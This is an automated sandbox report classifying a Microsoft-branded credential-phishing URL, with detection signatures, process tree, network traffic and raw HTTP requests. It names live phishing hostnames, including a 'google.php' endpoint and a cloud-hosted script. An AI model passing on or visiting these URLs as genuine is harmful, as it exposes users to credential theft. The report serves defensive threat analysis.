Edit tour

Windows Analysis Report
https://bonsoiree.mareanebulosasao.it.com/IFEXy

Overview

General Information

Sample URL:	https://bonsoiree.mareanebulosasao.it.com/IFEXy
Analysis ID:	1641791
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Phishing site or detected (based on various text indicators)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 812 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5352 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2040,i,16244986791002289555,1091546220457226333,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 4524 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://bonsoiree.mareanebulosasao.it.com/IFEXy" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'bonsoiree.mareanebulosasao.it.com' does not match the legitimate domain for Microsoft., The URL contains multiple subdomains and an unusual structure, which is a common tactic in phishing attempts., The domain extension '.it.com' is unusual and not typically associated with Microsoft., The presence of input fields for 'Email, phone, or Skype' is consistent with phishing attempts targeting Microsoft accounts. DOM: 0.5.pages.csv

Yara detected HtmlPhish10

Source: Yara match

File source: 0.5.pages.csv, type: HTML

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 0.3

OCR Text: Microsoft Browser ensuring safe internet use. Verifying... CLOUDFLARE Ten-rs To proceed, Microsoft has to evaluate your connection's security-

Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/

HTTP Parser: Number of links: 0

Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/

HTTP Parser: Invalid link: Privacy statement

Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/

HTTP Parser: <input type="password" .../> found

Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/	HTTP Parser: No favicon
Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/	HTTP Parser: No favicon
Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/	HTTP Parser: No favicon
Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/	HTTP Parser: No favicon

Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/

HTTP Parser: No <meta name="author".. found

Source: https://bonsoiree.mareanebulosasao.it.com/IFEXy/

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.17:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.17:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.17:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.17:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.19:443 -> 192.168.2.17:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.19:443 -> 192.168.2.17:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.17:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.17:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.17:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.17:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.17:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.17:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.17:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.152.64.193:443 -> 192.168.2.17:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.201.1:443 -> 192.168.2.17:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.17:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.202.1:443 -> 192.168.2.17:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.17:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.181:443 -> 192.168.2.17:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.181:443 -> 192.168.2.17:49763 version: TLS 1.2

Source: global traffic

TCP traffic: 192.168.2.17:64873 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.227
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.129
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.129
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /IFEXy HTTP/1.1Host: bonsoiree.mareanebulosasao.it.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /IFEXy/ HTTP/1.1Host: bonsoiree.mareanebulosasao.it.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://bonsoiree.mareanebulosasao.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logos/assets/PNG/Microsoft_Logo_512px.png HTTP/1.1Host: mailmeteor.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://bonsoiree.mareanebulosasao.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://bonsoiree.mareanebulosasao.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logos/assets/PNG/Microsoft_Logo_512px.png HTTP/1.1Host: mailmeteor.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://bonsoiree.mareanebulosasao.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=9224cf676904c3fa&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: bonsoiree.mareanebulosasao.it.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bonsoiree.mareanebulosasao.it.com/IFEXy/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=6pscjhb0e16aajvi4vl1e2m011
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1094466287:1742301107:FItDK9GrEtQnCOsTrwhQfEUVRnlNXFphWiOKv-HlkxM/9224cf676904c3fa/IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/9224cf676904c3fa/1742301750157/e1f2ceee5e0e2842f03777dac4e51e94a39a06ce6cb8694d33c3e5851ee19efc/B7-oSowbJRNI7hX HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/9224cf676904c3fa/1742301750158/4VIwLB1MLbCTSvd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/9224cf676904c3fa/1742301750158/4VIwLB1MLbCTSvd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1094466287:1742301107:FItDK9GrEtQnCOsTrwhQfEUVRnlNXFphWiOKv-HlkxM/9224cf676904c3fa/IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1094466287:1742301107:FItDK9GrEtQnCOsTrwhQfEUVRnlNXFphWiOKv-HlkxM/9224cf676904c3fa/IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: https://bonsoiree.mareanebulosasao.it.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://bonsoiree.mareanebulosasao.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://bonsoiree.mareanebulosasao.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://bonsoiree.mareanebulosasao.it.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://bonsoiree.mareanebulosasao.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: https://bonsoiree.mareanebulosasao.it.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://bonsoiree.mareanebulosasao.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 1674039279-1317754460.cos.ap-singapore.myqcloud.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://bonsoiree.mareanebulosasao.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1Host: res.cloudinary.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://bonsoiree.mareanebulosasao.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1Host: res.cloudinary.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: bjsz.mareanebulosasao.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
